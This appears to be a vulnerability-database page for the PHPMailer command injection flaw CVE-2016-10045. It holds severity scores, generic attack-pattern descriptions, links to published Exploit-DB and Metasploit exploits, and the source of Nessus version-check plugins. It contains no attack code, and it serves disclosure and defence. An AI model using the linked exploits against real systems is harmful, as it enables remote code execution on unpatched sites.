Vulnerabilities > CVE-2016-10045 - Command Injection vulnerability in multiple products

047910
CVSS 9.8 - CRITICAL
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
HIGH
Integrity impact
HIGH
Availability impact
HIGH
network
low complexity
phpmailer-project
wordpress
joomla
CWE-77
critical
nessus
exploit available
metasploit
NVD
Published: 2016-12-30
Updated: 2024-11-21

Summary

The isMail transport in PHPMailer before 5.2.20 might allow remote attackers to pass extra parameters to the mail command and consequently execute arbitrary code by leveraging improper interaction between the escapeshellarg function and internal escaping performed in the mail function in PHP. NOTE: this vulnerability exists because of an incorrect fix for CVE-2016-10033.

Vulnerable Configurations

Part Description Count
Application
Phpmailer_Project
25
Application
Wordpress
712
Application
Joomla
220

Common Weakness Enumeration (CWE)

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Cause Web Server Misclassification
    An attack of this type exploits a Web server's decision to take action based on filename or file extension. Because different file types are handled by different server processes, misclassification may force the Web server to take unexpected action, or expected actions in an unexpected sequence. This may cause the server to exhaust resources, supply debug or system data to the attacker, or bind an attacker to a remote process. This type of vulnerability has been found in many widely used servers including IIS, Lotus Domino, and Orion. The attacker's job in this case is straightforward, standard communication protocols and methods are used and are generally appended with malicious information at the tail end of an otherwise legitimate request. The attack payload varies, but it could be special characters like a period or simply appending a tag that has a special meaning for operations on the server side like .jsp for a java application server. The essence of this attack is that the attacker deceives the server into executing functionality based on the name of the request, i.e. login.jsp, not the contents.
  • LDAP Injection
    An attacker manipulates or crafts an LDAP query for the purpose of undermining the security of the target. Some applications use user input to create LDAP queries that are processed by an LDAP server. For example, a user might provide their username during authentication and the username might be inserted in an LDAP query during the authentication process. An attacker could use this input to inject additional commands into an LDAP query that could disclose sensitive information. For example, entering a * in the aforementioned query might return information about all users on the system. This attack is very similar to an SQL injection attack in that it manipulates a query to gather additional information or coerce a particular return value.
  • Command Delimiters
    An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or a blacklist input validation, as opposed to whitelist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or blacklist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
  • File System Function Injection, Content Based
    An attack of this type exploits the host's trust in executing remote content including binary files. The files are poisoned with a malicious payload (targeting the file systems accessible by the target software) by the attacker and may be passed through standard channels such as via email, and standard web content like PDF and multimedia files. The attacker exploits known vulnerabilities or handling routines in the target processes. Vulnerabilities of this type have been found in a wide variety of commercial applications from Microsoft Office to Adobe Acrobat and Apple Safari web browser. When the attacker knows the standard handling routines and can identify vulnerabilities and entry points they can be exploited by otherwise seemingly normal content. Once the attack is executed, the attackers' program can access relative directories such as C:\Program Files or other standard system directories to launch further attacks. In a worst case scenario, these programs are combined with other propagation logic and work as a virus.
  • Exploiting Multiple Input Interpretation Layers
    An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.

Exploit-Db

  • descriptionPHPMailer < 5.2.20 with Exim MTA - Remote Code Execution. CVE-2016-10033,CVE-2016-10034,CVE-2016-10045,CVE-2016-10074. Webapps exploit for PHP platform
    fileexploits/php/webapps/42221.py
    idEDB-ID:42221
    last seen2017-06-22
    modified2017-06-21
    platformphp
    port
    published2017-06-21
    reporterExploit-DB
    sourcehttps://www.exploit-db.com/download/42221/
    titlePHPMailer < 5.2.20 with Exim MTA - Remote Code Execution
    typewebapps
  • descriptionPHPMailer < 5.2.20 / SwiftMailer < 5.4.5-DEV / Zend Framework / zend-mail < 2.4.11 - (AIO) 'PwnScriptum' Remote Code Execution. CVE-2016-10033,CVE-2...
    fileexploits/php/webapps/40986.py
    idEDB-ID:40986
    last seen2017-01-03
    modified2017-01-02
    platformphp
    port
    published2017-01-02
    reporterExploit-DB
    sourcehttps://www.exploit-db.com/download/40986/
    titlePHPMailer < 5.2.20 / SwiftMailer < 5.4.5-DEV / Zend Framework / zend-mail < 2.4.11 - (AIO) 'PwnScriptum' Remote Code Execution
    typewebapps
  • descriptionPHPMailer < 5.2.20 - Remote Code Execution. CVE-2016-10033,CVE-2016-10045. Webapps exploit for PHP platform
    fileexploits/php/webapps/40969.pl
    idEDB-ID:40969
    last seen2016-12-28
    modified2016-12-27
    platformphp
    port
    published2016-12-27
    reporterExploit-DB
    sourcehttps://www.exploit-db.com/download/40969/
    titlePHPMailer < 5.2.20 - Remote Code Execution
    typewebapps

Metasploit

descriptionPHPMailer versions up to and including 5.2.19 are affected by a vulnerability which can be leveraged by an attacker to write a file with partially controlled contents to an arbitrary location through injection of arguments that are passed to the sendmail binary. This module writes a payload to the web root of the webserver before then executing it with an HTTP request. The user running PHPMailer must have write access to the specified WEB_ROOT directory and successful exploitation can take a few minutes.
idMSF:EXPLOIT/MULTI/HTTP/PHPMAILER_ARG_INJECTION
last seen2020-06-10
modified2018-10-28
published2016-12-29
references
reporterRapid7
sourcehttps://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/multi/http/phpmailer_arg_injection.rb
titlePHPMailer Sendmail Argument Injection

Nessus

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    descriptionLegal Hackers reports : An independent research uncovered a critical vulnerability in PHPMailer that could potentially be used by (unauthenticated) remote attackers to achieve remote arbitrary code execution in the context of the web server user and remotely compromise the target web application. To exploit the vulnerability an attacker could target common website components such as contact/feedback forms, registration forms, password email resets and others that send out emails with the help of a vulnerable version of the PHPMailer class. The first patch of the vulnerability CVE-2016-10033 was incomplete. This advisory demonstrates the bypass of the patch. The bypass allows to carry out Remote Code Execution on all current versions (including 5.2.19).
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    plugin id96172
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    reporterThis script is Copyright (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/96172
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# (C) Tenable Network Security, Inc.
#
# The descriptive text and package checks in this plugin were  
# extracted from the FreeBSD VuXML database :
#
# Copyright 2003-2018 Jacques Vidrine and contributors
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# HTML, PDF, PostScript, RTF and so forth) with or without modification,
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#    published online in any format, converted to PDF, PostScript,
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#    distribution.
# 
# THIS DOCUMENTATION IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
# THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
# PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS
# BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY,
# OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT
# OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
# BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
# WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
# OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS DOCUMENTATION,
# EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
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"Legal Hackers reports :

An independent research uncovered a critical vulnerability in
PHPMailer that could potentially be used by (unauthenticated) remote
attackers to achieve remote arbitrary code execution in the context of
the web server user and remotely compromise the target web
application.

To exploit the vulnerability an attacker could target common website
components such as contact/feedback forms, registration forms,
password email resets and others that send out emails with the help of
a vulnerable version of the PHPMailer class.

The first patch of the vulnerability CVE-2016-10033 was incomplete.
This advisory demonstrates the bypass of the patch. The bypass allows
to carry out Remote Code Execution on all current versions (including
5.2.19)."
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  script_set_attribute(attribute:"metasploit_name", value:'PHPMailer Sendmail Argument Injection');
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  script_set_attribute(attribute:"plugin_type", value:"local");
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  script_set_attribute(attribute:"cpe", value:"cpe:/o:freebsd:freebsd");

  script_set_attribute(attribute:"vuln_publication_date", value:"2016/12/28");
  script_set_attribute(attribute:"patch_publication_date", value:"2016/12/28");
  script_set_attribute(attribute:"plugin_publication_date", value:"2016/12/29");
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include("audit.inc");
include("freebsd_package.inc");


if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
if (!get_kb_item("Host/FreeBSD/release")) audit(AUDIT_OS_NOT, "FreeBSD");
if (!get_kb_item("Host/FreeBSD/pkg_info")) audit(AUDIT_PACKAGE_LIST_MISSING);


flag = 0;

if (pkg_test(save_report:TRUE, pkg:"phpmailer<5.2.20")) flag++;
if (pkg_test(save_report:TRUE, pkg:"tt-rss<29.12.2016.04.37")) flag++;

if (flag)
{
  if (report_verbosity > 0) security_hole(port:0, extra:pkg_report_get());
  else security_hole(0);
  exit(0);
}
else audit(AUDIT_HOST_NOT, "affected");
  • NASL familyDebian Local Security Checks
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    descriptionDawid Golunski discovered that PHPMailer, a popular library to send email from PHP applications, allowed a remote attacker to execute code if they were able to provide a crafted Sender address. Note that for this issue also CVE-2016-10045 was assigned, which is a regression in the original patch proposed for CVE-2016-10033. Because the origial patch was not applied in Debian, Debian was not vulnerable to CVE-2016-10045. For Debian 7
    last seen2020-03-17
    modified2017-01-03
    plugin id96186
    published2017-01-03
    reporterThis script is Copyright (C) 2017-2020 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/96186
    titleDebian DLA-770-2 : libphp-phpmailer regression update
    code
    #%NASL_MIN_LEVEL 80502
#
# (C) Tenable Network Security, Inc.
#
# The descriptive text and package checks in this plugin were
# extracted from Debian Security Advisory DLA-770-2. The text
# itself is copyright (C) Software in the Public Interest, Inc.
#

include("compat.inc");

if (description)
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  script_set_attribute(attribute:"plugin_modification_date", value:"2020/03/12");

  script_cve_id("CVE-2016-10033");

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  script_summary(english:"Checks dpkg output for the updated package.");

  script_set_attribute(
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  );
  script_set_attribute(
    attribute:"description", 
    value:
"Dawid Golunski discovered that PHPMailer, a popular library to send
email from PHP applications, allowed a remote attacker to execute code
if they were able to provide a crafted Sender address.

Note that for this issue also CVE-2016-10045 was assigned, which is a
regression in the original patch proposed for CVE-2016-10033. Because
the origial patch was not applied in Debian, Debian was not vulnerable
to CVE-2016-10045.

For Debian 7 'Wheezy', these problems have been fixed in version
5.1-1.2.

We recommend that you upgrade your libphp-phpmailer packages.

NOTE: Tenable Network Security has extracted the preceding description
block directly from the DLA security advisory. Tenable has attempted
to automatically clean and format it as much as possible without
introducing additional issues."
  );
  script_set_attribute(
    attribute:"see_also",
    value:"https://lists.debian.org/debian-lts-announce/2017/01/msg00006.html"
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  script_set_attribute(
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    value:"https://packages.debian.org/source/wheezy/libphp-phpmailer"
  );
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  );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
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  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploit_framework_core", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'WordPress PHPMailer Host Header Command Injection');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:debian:debian_linux:libphp-phpmailer");
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  script_set_attribute(attribute:"patch_publication_date", value:"2017/01/03");
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  script_category(ACT_GATHER_INFO);
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include("debian_package.inc");


if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
if (!get_kb_item("Host/Debian/release")) audit(AUDIT_OS_NOT, "Debian");
if (!get_kb_item("Host/Debian/dpkg-l")) audit(AUDIT_PACKAGE_LIST_MISSING);


flag = 0;
if (deb_check(release:"7.0", prefix:"libphp-phpmailer", reference:"5.1-1.2")) flag++;

if (flag)
{
  if (report_verbosity > 0) security_hole(port:0, extra:deb_report_get());
  else security_hole(0);
  exit(0);
}
else audit(AUDIT_HOST_NOT, "affected");
  • NASL familyFedora Local Security Checks
    NASL idFEDORA_2017-C3DC97E1E1.NASL
    description**Version 5.2.22** (January 5th 2017) - **SECURITY** Fix [CVE-2017-5223](https://web.nvd.nist.gov/view/vuln/detai l?vulnId=CVE-2017-5223), local file disclosure vulnerability if content passed to `msgHTML()` is sourced from unfiltered user input. Reported by Yongxiang Li of Asiasecurity. The fix for this means that calls to `msgHTML()` without a `$basedir` will not import images with relative URLs, and relative URLs containing `..` will be ignored. - Add simple contact form example - Emoji in test content ---- **Version 5.2.21** (December 28th 2016) - Fix missed number update in version file - no functional changes ---- **Version 5.2.20** (December 28th 2016) - **SECURITY** Critical security update for CVE-2016-10045 please update now! Thanks to [Dawid Golunski](https://legalhackers.com) and Paul Buonopane (Zenexer). ---- ** Version 5.2.19** (December 26th 2016) - Minor cleanup ** Version 5.2.18** (December 24th 2016) - **SECURITY** Critical security update for CVE-2016-10033 please update now! Thanks to [Dawid Golunski](https://legalhackers.com). - Add ability to extract the SMTP transaction ID from some common SMTP success messages - Minor documentation tweaks ** Version 5.2.17** (December 9th 2016) - This is officially the last feature release of 5.2. Security fixes only from now on; use PHPMailer 6.0! - Allow DKIM private key to be provided as a string - Provide mechanism to allow overriding of boundary and message ID creation - Improve Brazilian Portuguese, Spanish, Swedish, Romanian, and German translations - PHP 7.1 support for Travis-CI - Fix some language codes - Add security notices - Improve DKIM compatibility in older PHP versions - Improve trapping and capture of SMTP connection errors - Improve passthrough of error levels for debug output - PHPDoc cleanup Note that Tenable Network Security has extracted the preceding description block directly from the Fedora update system website. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.
    last seen2020-06-05
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    plugin id96574
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    reporterThis script is Copyright (C) 2017-2020 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/96574
    titleFedora 24 : php-PHPMailer (2017-c3dc97e1e1)
    code
    #%NASL_MIN_LEVEL 80502
#
# (C) Tenable Network Security, Inc.
#
# The descriptive text and package checks in this plugin were  
# extracted from Fedora Security Advisory FEDORA-2017-c3dc97e1e1.
#

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  script_version("3.8");
  script_set_attribute(attribute:"plugin_modification_date", value:"2020/06/04");

  script_cve_id("CVE-2016-10033", "CVE-2016-10045", "CVE-2017-5223");
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  script_name(english:"Fedora 24 : php-PHPMailer (2017-c3dc97e1e1)");
  script_summary(english:"Checks rpm output for the updated package.");

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    value:"The remote Fedora host is missing a security update."
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    attribute:"description", 
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  - **SECURITY** Fix
    [CVE-2017-5223](https://web.nvd.nist.gov/view/vuln/detai
    l?vulnId=CVE-2017-5223), local file disclosure
    vulnerability if content passed to `msgHTML()` is
    sourced from unfiltered user input. Reported by
    Yongxiang Li of Asiasecurity. The fix for this means
    that calls to `msgHTML()` without a `$basedir` will not
    import images with relative URLs, and relative URLs
    containing `..` will be ignored.

  - Add simple contact form example

  - Emoji in test content

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**Version 5.2.21** (December 28th 2016)

  - Fix missed number update in version file - no functional
    changes

----

**Version 5.2.20** (December 28th 2016)

  - **SECURITY** Critical security update for CVE-2016-10045
    please update now! Thanks to [Dawid
    Golunski](https://legalhackers.com) and Paul Buonopane
    (Zenexer).

----

** Version 5.2.19** (December 26th 2016)

  - Minor cleanup

** Version 5.2.18** (December 24th 2016)

  - **SECURITY** Critical security update for CVE-2016-10033
    please update now! Thanks to [Dawid
    Golunski](https://legalhackers.com).

  - Add ability to extract the SMTP transaction ID from some
    common SMTP success messages

  - Minor documentation tweaks

** Version 5.2.17** (December 9th 2016)

  - This is officially the last feature release of 5.2.
    Security fixes only from now on; use PHPMailer 6.0!

  - Allow DKIM private key to be provided as a string

  - Provide mechanism to allow overriding of boundary and
    message ID creation

  - Improve Brazilian Portuguese, Spanish, Swedish,
    Romanian, and German translations

  - PHP 7.1 support for Travis-CI

  - Fix some language codes

  - Add security notices

  - Improve DKIM compatibility in older PHP versions

  - Improve trapping and capture of SMTP connection errors

  - Improve passthrough of error levels for debug output

  - PHPDoc cleanup

Note that Tenable Network Security has extracted the preceding
description block directly from the Fedora update system website.
Tenable has attempted to automatically clean and format it as much as
possible without introducing additional issues."
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  script_set_attribute(
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    value:"https://legalhackers.com"
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  # https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-5223
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    attribute:"see_also",
    value:"https://nvd.nist.gov/vuln/detail/CVE-2017-5223"
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  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
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  script_set_attribute(attribute:"cpe", value:"cpe:/o:fedoraproject:fedora:24");

  script_set_attribute(attribute:"vuln_publication_date", value:"2016/12/30");
  script_set_attribute(attribute:"patch_publication_date", value:"2017/01/17");
  script_set_attribute(attribute:"plugin_publication_date", value:"2017/01/18");
  script_set_attribute(attribute:"generated_plugin", value:"current");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_copyright(english:"This script is Copyright (C) 2017-2020 and is owned by Tenable, Inc. or an Affiliate thereof.");
  script_family(english:"Fedora Local Security Checks");

  script_dependencies("ssh_get_info.nasl");
  script_require_keys("Host/local_checks_enabled", "Host/RedHat/release", "Host/RedHat/rpm-list");

  exit(0);
}


include("audit.inc");
include("global_settings.inc");
include("rpm.inc");


if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
release = get_kb_item("Host/RedHat/release");
if (isnull(release) || "Fedora" >!< release) audit(AUDIT_OS_NOT, "Fedora");
os_ver = pregmatch(pattern: "Fedora.*release ([0-9]+)", string:release);
if (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, "Fedora");
os_ver = os_ver[1];
if (! preg(pattern:"^24([^0-9]|$)", string:os_ver)) audit(AUDIT_OS_NOT, "Fedora 24", "Fedora " + os_ver);

if (!get_kb_item("Host/RedHat/rpm-list")) audit(AUDIT_PACKAGE_LIST_MISSING);


cpu = get_kb_item("Host/cpu");
if (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);
if ("x86_64" >!< cpu && cpu !~ "^i[3-6]86$") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, "Fedora", cpu);


flag = 0;
if (rpm_check(release:"FC24", reference:"php-PHPMailer-5.2.22-1.fc24")) flag++;


if (flag)
{
  security_report_v4(
    port       : 0,
    severity   : SECURITY_HOLE,
    extra      : rpm_report_get()
  );
  exit(0);
}
else
{
  tested = pkg_tests_get();
  if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);
  else audit(AUDIT_PACKAGE_NOT_INSTALLED, "php-PHPMailer");
}
  • NASL familyDebian Local Security Checks
    NASL idDEBIAN_DSA-3750.NASL
    descriptionDawid Golunski discovered that PHPMailer, a popular library to send email from PHP applications, allowed a remote attacker to execute code if they were able to provide a crafted Sender address. Note that for this issue also CVE-2016-10045 was assigned, which is a regression in the original patch proposed for CVE-2016-10033. Because the origial patch was not applied in Debian, Debian was not vulnerable to CVE-2016-10045.
    last seen2020-06-01
    modified2020-06-02
    plugin id96194
    published2017-01-03
    reporterThis script is Copyright (C) 2017-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/96194
    titleDebian DSA-3750-1 : libphp-phpmailer - security update
    code
    #
# (C) Tenable Network Security, Inc.
#
# The descriptive text and package checks in this plugin were  
# extracted from Debian Security Advisory DSA-3750. The text 
# itself is copyright (C) Software in the Public Interest, Inc.
#

include("compat.inc");

if (description)
{
  script_id(96194);
  script_version("3.10");
  script_cvs_date("Date: 2018/11/10 11:49:38");

  script_cve_id("CVE-2016-10033");
  script_xref(name:"DSA", value:"3750");

  script_name(english:"Debian DSA-3750-1 : libphp-phpmailer - security update");
  script_summary(english:"Checks dpkg output for the updated package");

  script_set_attribute(
    attribute:"synopsis", 
    value:"The remote Debian host is missing a security-related update."
  );
  script_set_attribute(
    attribute:"description", 
    value:
"Dawid Golunski discovered that PHPMailer, a popular library to send
email from PHP applications, allowed a remote attacker to execute code
if they were able to provide a crafted Sender address.

Note that for this issue also CVE-2016-10045 was assigned, which is a
regression in the original patch proposed for CVE-2016-10033. Because
the origial patch was not applied in Debian, Debian was not vulnerable
to CVE-2016-10045."
  );
  script_set_attribute(
    attribute:"see_also",
    value:"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=849365"
  );
  script_set_attribute(
    attribute:"see_also",
    value:"https://security-tracker.debian.org/tracker/CVE-2016-10045"
  );
  script_set_attribute(
    attribute:"see_also",
    value:"https://security-tracker.debian.org/tracker/CVE-2016-10033"
  );
  script_set_attribute(
    attribute:"see_also",
    value:"https://security-tracker.debian.org/tracker/CVE-2016-10045"
  );
  script_set_attribute(
    attribute:"see_also",
    value:"https://packages.debian.org/source/jessie/libphp-phpmailer"
  );
  script_set_attribute(
    attribute:"see_also",
    value:"https://www.debian.org/security/2016/dsa-3750"
  );
  script_set_attribute(
    attribute:"solution", 
    value:
"Upgrade the libphp-phpmailer packages.

For the stable distribution (jessie), this problem has been fixed in
version 5.2.9+dfsg-2+deb8u2."
  );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploit_framework_core", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'WordPress PHPMailer Host Header Command Injection');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:debian:debian_linux:libphp-phpmailer");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:debian:debian_linux:8.0");

  script_set_attribute(attribute:"patch_publication_date", value:"2016/12/31");
  script_set_attribute(attribute:"plugin_publication_date", value:"2017/01/03");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_copyright(english:"This script is Copyright (C) 2017-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");
  script_family(english:"Debian Local Security Checks");

  script_dependencies("ssh_get_info.nasl");
  script_require_keys("Host/local_checks_enabled", "Host/Debian/release", "Host/Debian/dpkg-l");

  exit(0);
}


include("audit.inc");
include("debian_package.inc");


if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
if (!get_kb_item("Host/Debian/release")) audit(AUDIT_OS_NOT, "Debian");
if (!get_kb_item("Host/Debian/dpkg-l")) audit(AUDIT_PACKAGE_LIST_MISSING);


flag = 0;
if (deb_check(release:"8.0", prefix:"libphp-phpmailer", reference:"5.2.9+dfsg-2+deb8u2")) flag++;

if (flag)
{
  if (report_verbosity > 0) security_hole(port:0, extra:deb_report_get());
  else security_hole(0);
  exit(0);
}
else audit(AUDIT_HOST_NOT, "affected");
  • NASL familyFreeBSD Local Security Checks
    NASL idFREEBSD_PKG_F72D98D10B7E11E7970F002590263BF5.NASL
    descriptionMarina Glancy reports : - MSA-17-0001: System file inclusion when adding own preset file in Boost theme - MSA-17-0002: Incorrect sanitation of attributes in forums - MSA-17-0003: PHPMailer vulnerability in no-reply address - MSA-17-0004: XSS in assignment submission page .
    last seen2020-06-01
    modified2020-06-02
    plugin id97812
    published2017-03-20
    reporterThis script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/97812
    titleFreeBSD : moodle -- multiple vulnerabilities (f72d98d1-0b7e-11e7-970f-002590263bf5)
    code
    #
# (C) Tenable Network Security, Inc.
#
# The descriptive text and package checks in this plugin were  
# extracted from the FreeBSD VuXML database :
#
# Copyright 2003-2020 Jacques Vidrine and contributors
#
# Redistribution and use in source (VuXML) and 'compiled' forms (SGML,
# HTML, PDF, PostScript, RTF and so forth) with or without modification,
# are permitted provided that the following conditions are met:
# 1. Redistributions of source code (VuXML) must retain the above
#    copyright notice, this list of conditions and the following
#    disclaimer as the first lines of this file unmodified.
# 2. Redistributions in compiled form (transformed to other DTDs,
#    published online in any format, converted to PDF, PostScript,
#    RTF and other formats) must reproduce the above copyright
#    notice, this list of conditions and the following disclaimer
#    in the documentation and/or other materials provided with the
#    distribution.
# 
# THIS DOCUMENTATION IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
# THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
# PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS
# BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY,
# OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT
# OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
# BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
# WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
# OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS DOCUMENTATION,
# EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#

include("compat.inc");

if (description)
{
  script_id(97812);
  script_version("3.5");
  script_set_attribute(attribute:"plugin_modification_date", value:"2020/06/25");

  script_cve_id("CVE-2016-10045", "CVE-2017-2576", "CVE-2017-2578");

  script_name(english:"FreeBSD : moodle -- multiple vulnerabilities (f72d98d1-0b7e-11e7-970f-002590263bf5)");
  script_summary(english:"Checks for updated packages in pkg_info output");

  script_set_attribute(
    attribute:"synopsis",
    value:
"The remote FreeBSD host is missing one or more security-related
updates."
  );
  script_set_attribute(
    attribute:"description",
    value:
"Marina Glancy reports :

- MSA-17-0001: System file inclusion when adding own preset file in
Boost theme

- MSA-17-0002: Incorrect sanitation of attributes in forums

- MSA-17-0003: PHPMailer vulnerability in no-reply address

- MSA-17-0004: XSS in assignment submission page"
  );
  script_set_attribute(
    attribute:"see_also",
    value:"https://moodle.org/security/"
  );
  # https://vuxml.freebsd.org/freebsd/f72d98d1-0b7e-11e7-970f-002590263bf5.html
  script_set_attribute(
    attribute:"see_also",
    value:"http://www.nessus.org/u?3a77a477"
  );
  script_set_attribute(attribute:"solution", value:"Update the affected packages.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'PHPMailer Sendmail Argument Injection');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:freebsd:freebsd:moodle29");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:freebsd:freebsd:moodle30");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:freebsd:freebsd:moodle31");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:freebsd:freebsd:moodle32");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:freebsd:freebsd");

  script_set_attribute(attribute:"vuln_publication_date", value:"2017/01/17");
  script_set_attribute(attribute:"patch_publication_date", value:"2017/03/18");
  script_set_attribute(attribute:"plugin_publication_date", value:"2017/03/20");
  script_set_attribute(attribute:"generated_plugin", value:"current");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_copyright(english:"This script is Copyright (C) 2017-2020 and is owned by Tenable, Inc. or an Affiliate thereof.");
  script_family(english:"FreeBSD Local Security Checks");

  script_dependencies("ssh_get_info.nasl");
  script_require_keys("Host/local_checks_enabled", "Host/FreeBSD/release", "Host/FreeBSD/pkg_info");

  exit(0);
}


include("audit.inc");
include("freebsd_package.inc");


if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
if (!get_kb_item("Host/FreeBSD/release")) audit(AUDIT_OS_NOT, "FreeBSD");
if (!get_kb_item("Host/FreeBSD/pkg_info")) audit(AUDIT_PACKAGE_LIST_MISSING);


flag = 0;

if (pkg_test(save_report:TRUE, pkg:"moodle29<=2.9.9")) flag++;
if (pkg_test(save_report:TRUE, pkg:"moodle30<3.0.8")) flag++;
if (pkg_test(save_report:TRUE, pkg:"moodle31<3.1.4")) flag++;
if (pkg_test(save_report:TRUE, pkg:"moodle32<3.2.1")) flag++;

if (flag)
{
  if (report_verbosity > 0) security_hole(port:0, extra:pkg_report_get());
  else security_hole(0);
  exit(0);
}
else audit(AUDIT_HOST_NOT, "affected");
  • NASL familyCGI abuses
    NASL idWORDPRESS_4_7_1.NASL
